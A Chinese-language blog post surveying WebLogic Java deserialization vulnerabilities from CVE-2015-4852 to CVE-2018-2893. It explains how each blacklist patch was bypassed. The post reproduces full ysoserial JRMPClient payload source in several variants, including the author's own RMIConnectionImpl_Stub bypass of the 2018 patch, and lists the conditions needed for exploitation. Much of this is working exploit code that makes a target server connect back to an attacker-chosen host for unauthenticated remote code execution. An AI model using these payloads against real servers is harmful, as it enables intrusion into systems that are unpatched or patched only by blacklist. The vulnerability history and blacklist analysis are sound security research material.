溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Weblogic 反序列化漏洞歷史

發(fā)布時(shí)間:2020-06-06 12:40:58 來源:網(wǎng)絡(luò) 閱讀:6779 作者:wx5b0b88843cb2a 欄目:安全技術(shù)

Weblogic 反序列化漏洞歷史

0x00 weblogic簡(jiǎn)介

WebLogic是美國(guó)Oracle公司出品的一個(gè)application server,確切的說是一個(gè)基于JAVAEE架構(gòu)的中間件,WebLogic是用于開發(fā)、集成、部署和管理大型分布式Web應(yīng)用、網(wǎng)絡(luò)應(yīng)用和數(shù)據(jù)庫(kù)應(yīng)用的Java應(yīng)用服務(wù)器。

Weblogic 直接反序列化漏洞回顧

1. CVE-2015-4852

利用Java反序列化和 Apache Commons Collections 這一基礎(chǔ)類庫(kù)來×××,實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。
查看CVE-2015-4852的補(bǔ)丁,發(fā)現(xiàn)weblogic采用黑名單的形式來修復(fù)這個(gè)漏洞,這中修復(fù)方案很被動(dòng),存在被繞過風(fēng)險(xiǎn),只要發(fā)現(xiàn)可用并且未在黑名單之外的反序列化類,便可造成新的反序列化×××。

2. CVE-2016-0638

weblogic反序列化的點(diǎn)有三個(gè),黑名單ClassFilter.class也作用于這三個(gè)位置:

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

使用weblogic.jms.common.StreamMessageImpl的 readExternal()繞過

3. CVE-2016-3510

原理是將反序列化的對(duì)象封裝進(jìn)了weblogic.corba.utils.MarshalledObject,然后再對(duì) MarshalledObject進(jìn)行序列化,生成 payload 字節(jié)碼。反序列化時(shí) MarshalledObject 不在 WebLogic 黑名單里,可正常反序列化,在反序列化時(shí) MarshalledObject對(duì)象調(diào)用 readObject 時(shí)對(duì) MarshalledObject 封裝的序列化對(duì)象再次反序列化,這樣就逃過了黑名單的檢查。

0x02 Weblogic JRMP反序列化漏洞回顧

JRMP協(xié)議:Java遠(yuǎn)程消息交換協(xié)議 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技術(shù)的、用于查找和引用遠(yuǎn)程對(duì)象的協(xié)議。這是運(yùn)行在 Java 遠(yuǎn)程方法調(diào)用 RMI 之下、TCP/IP 之上的線路層協(xié)議。
RMI:是Remote Method Invocation的簡(jiǎn)稱,是J2SE的一部分,
能夠讓程序員開發(fā)出基于Java的分布式應(yīng)用。一個(gè)RMI對(duì)象是一個(gè)遠(yuǎn)程Java對(duì)象,
可以從另一個(gè)Java虛擬機(jī)上(甚至跨過網(wǎng)絡(luò))調(diào)用它的方法,
可以像調(diào)用本地Java對(duì)象的方法一樣調(diào)用遠(yuǎn)程對(duì)象的方法,
使分布在不同的JVM中的對(duì)象的外表和行為都像本地對(duì)象一樣。

1. CVE-2017-3248

這個(gè)漏洞就是利用 RMI 機(jī)制的缺陷,通過 JRMP 協(xié)議達(dá)到執(zhí)行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,這將會(huì)序列化一個(gè) RemoteObjectInvocationHandler,該RemoteObjectInvocationHandler使用UnicastRef建立到遠(yuǎn)端的 TCP 連接獲取RMI registry。 此連接使用 JRMP 協(xié)議,因此客戶端將反序列化服務(wù)器響應(yīng)的任何內(nèi)容,從而實(shí)現(xiàn)未經(jīng)身份驗(yàn)證的遠(yuǎn)程代碼執(zhí)行。
JRMPLister代碼:

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

修復(fù)方式只是在resolveProxyClass進(jìn)行一個(gè)簡(jiǎn)單的判斷,攔截java.rmi.registry.Registry接口。所以很快就有了下一個(gè)繞過。

2. CVE-2018-2628

網(wǎng)上公開的繞CVE-2017-3248有這幾種方法:
第一種:
修改ysoerial的JRMPClient,精簡(jiǎn)了原來的payload,直接就是一個(gè)sun.rmi.server.UnicastRef對(duì)象。因?yàn)镻roxy在這里并不是必需的,所以去掉之后對(duì)反序列化利用沒有影響。payload中沒有了proxy,weblogic反序列化的時(shí)候,resolveProxyClass根本就沒有被調(diào)用到,所以就bypass了CVE-2017-3248的patch。

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        return ref;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

第二種:替換接口
繞過是用java.rmi.activation.Activator替換java.rmi.registry.Registry,從而繞過resolveProxyClass的判斷。其實(shí)這里對(duì)接口沒有要求,不一定是rmi接口,隨便找一個(gè)接口都行,比如java.util.Map

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
                Activator.class
        }, obj);
        return proxy;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

第三種:weblogic.jms.common.StreamMessageImpl
StreamMessageImpl這個(gè)點(diǎn)在反序列化的時(shí)候沒有resolveProxyClass檢查,從而繞過。
Oracle在2018年4月發(fā)布的補(bǔ)丁中修復(fù)方式是將sun.rmi.server.UnicastRef加入了黑名單中,weblogic.utils.io.oif.WebLogicFilterConfig.class:

private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
  private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
  private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };

這個(gè)修復(fù)方式只對(duì)提交的bypass(Payload 1)有效,而Payload 2和3依然可以使用。分析了一下后兩個(gè)payload依然可以使用的原因: 主要是sun.rmi.server.UnicastRef經(jīng)過了java.rmi.server.RemoteObjectInvocationHandler的封裝,在序列化生成payload時(shí),修改了UnicastRef對(duì)象寫入流程。

3. CVE-2018-2893

針對(duì)前面漏洞沒有修復(fù)徹底的問題,在今年7月份的補(bǔ)丁中進(jìn)行了如下修復(fù):

private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

黑名單進(jìn)行了更新:

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

0x03 繞過CVE-2018-2893

CVE-2018-2893還是可以繼續(xù)繞的,根據(jù)前面的分析可知,我們只需要找一個(gè)類似java.rmi.server.RemoteObjectInvocationHandler的類進(jìn)行替換,就能繼續(xù)繞過了。那么這個(gè)類應(yīng)該滿足以下條件:
繼承遠(yuǎn)程類:java.rmi.server.RemoteObject不在黑名單里邊(java.rmi.activation. 、sun.rmi.server.
隨便找了一下,符合條件的挺多的:

javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

RMIConnectionImpl_Stub 繼承至--> java.rmi.server.RemoteStub 繼承至-->java.rmi.server.RemoteObject
稍微改一下payload便能繼續(xù)利用了:

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;

@SuppressWarnings ( {
    "restriction"
} )

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
        return stub;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

0x04 利用條件

RMIConnectionImpl_Stub替換RemoteObjectInvocationHandler之后,payload又能用了。
后續(xù)利用需要配合Jdk7u21來執(zhí)行命令:
1、服務(wù)器沒有禁用T3、T3S協(xié)議。
2、weblogic服務(wù)器需能訪問到外網(wǎng),才能發(fā)起JRMP請(qǐng)求。
3、服務(wù)器使用低版本jdk

參考鏈接:
https://xz.aliyun.com/t/2479
https://paper.seebug.org/584/
http://drops.the404.me/637.html

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI